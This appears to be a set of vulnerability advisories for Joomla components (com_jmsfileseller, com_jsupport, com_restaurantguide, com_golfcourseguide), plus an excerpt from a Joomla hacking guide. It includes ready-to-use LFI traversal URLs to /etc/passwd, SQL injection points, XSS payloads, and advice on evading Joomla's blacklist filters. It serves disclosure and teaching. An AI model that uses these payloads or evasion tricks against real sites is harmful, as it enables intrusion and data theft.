The Joomla component com_jmsfileseller suffers from a Local File Inclusion vulnerability.

URL:
index.php?option=com_jmsfileseller&view=<LFI value>&cat_id=1&Itemid=27

Vulnerable parameter:
view

Example:
index.php?option=com_jmsfileseller&view=../../../etc/passwd%00&cat_id=12&Itemid=27

With great pleasure I hereby announce the availability of the new “The Joomla Hacking Compendium”. It contains almost 1000 lines of pure knowledge and shows you the way to hack and protect Joomla.

It contains the following chapters:

0x01 - Purpose of this document
0x02 - Introduction
0x03 - The Basics of Joomla
0x04 - The Joomla core
0x05 - Joomla extensions
0x06 - Hacking Joomla
0x07 - SEO, our strongest enemy
0x08 - Examples for Joomla SQL injections
0x09 - Examples for Joomla local file inclusions
0x10 - Examples for Joomla remote file inclusions
0x11 - Examples for Joomla XSSs/CSRFs
0x12 - How to protect your Joomla
0x13 - Conclusion and a look at Joomla's feature
0x14 - How to stay informed (or: the latest vulnerabilities)
0x15 - Useful tools
0x16 - Greetings and THX

Please find an excerpt below:

::
:: 0x04 - The Joomla core
::

Before inspecting the Joomla component attack vendors we first have a
look at the core.

Download Joomla somewhere and extract all files. Open the file
libraries/phpinputfilter/inputfilter.php
and look at the code:
----------------------------------------
var $tagsArray; // default = empty array
var $attrArray; // default = empty array

var $tagsMethod; // default = 0
var $attrMethod; // default = 0

var $xssAuto; // default = 1
var $tagBlacklist = array ('applet', 'body', 'bgsound' [...]
var $attrBlacklist = array ('action', 'background'     [...]
----------------------------------------

As you can see, some filter methods of Joomla are based on blacklisting.
This knowledge can be used later to exploit potential vulnerabilities in
a better way. I find this method not very effective, btw.

While HTML tags containing "body" or "bgsound" will be filtered out
at input fields or URL parameters, they can be written in many ways,
e.g. like "bOdY" or "b o DY" etc. You are only limited by your
creativity and will find ways for tricking the blacklist of the
Joomla framework.

Another interesting part is this one (same file):
----------------------------------------
/*
* Is there a tag? If so it will certainly start with a '<'
*/
$tagOpen_start  = strpos($source, '<');
while ($tagOpen_start !== false)
{
/*
* Get some information about the tag we are processing
*/
$preTag            .= substr($postTag, 0, $tagOpen_start);
$postTag                = substr($postTag, $tagOpen_start);
----------------------------------------

As you can see they assume that an HTML tag being used in XSS attacks
starts with a "<". In fact, I never use this character and many
XSS cheatsheets suggest this, too. With this information in mind,
you can most likely avoid being detected by the filters. You can start
your XSS string with "><tag... for example.

If you want to you can continue looking. You will find other filter
methods and, at the end of the file, there are also built in
mechanics which should help to prevent SQL injection vulnerabilities:
[...]

The Joomla component com_jsupport suffers from a remote SQL injection vulnerability.

This vulnerability can be found by viewing the component in the Joomla administrator
backend.

Examples:
administrator/index.php?option=com_jsupport&task=listTickets&alpha=[SQL Injection]
administrator/index.php?option=com_jsupport&task=listFaqs&alpha=[SQL Injection]

The Joomla component com_jsupport suffers from a critical XSS vulnerability:

The component allows you to create and submit tickets. The tickets can be viewed
on the website and in the admin panel.

It is possible to inject arbitrary HTML and JS/VBS code into the title field of the
ticket. If someone else views the ticket list, the code gets executed in the
visitor's browser.

This vulnerability is considered as critical since the tickets are also displayed
in the administrator backend of Joomla. As soon as a user with extended priviledges
views the ticket list in the backend, the code gets executed and damage can be caused.

Example code for the ticket title field:
"><IMG """><SCRIPT>alert("XSS")</SCRIPT>

The Joomla component com_restaurantguide suffers from multiple vulnerabilities.

>> SQL Injection
index.php?option=com_restaurantguide&view=country&id=’&Itemid=69
(id parameter is vulnerable)

>> HTML/JS/VBS Code Injection (all input fields, also in the admin backend)
It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag and convert your code into decimal HTMl code without semicolons:
“><A HREF=”http://www.google.com./”>injected</A>
(which is “>injected)
The code doesn’t get parsed, so it is not possible to exploit this weakness. However, including arbitrary plain text into the current website is possible. Dangerous!

>> Interesting stuff
a) Triggering various error messages in the admin panel is possible, e.g.:
administrator/index.php?option=com_restaurantguide&controller=restaurantitems&task=edit&cid[]=[try ' or -1 or an ID which does not exist]
Sometimes the code of the component gets displayed within the browser window when you try to trigger errors with different variables.

b) Playing around with the controller variable
administrator/index.php?option=com_restaurantguide&controller=../../../../../../../../../etc/passwd%00
(NOT a LFI vulnerability since the controller classes are defined in the source code, you just get different error messages.. nothing to exploit here..)

The Joomla component com_golfcourseguide fails to sanitize the user input and therefore suffers from a remote SQL injection vulnerability.

Example URL
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=[SQL Injection]

Versions affected
v0.9.6.0 beta, v1 beta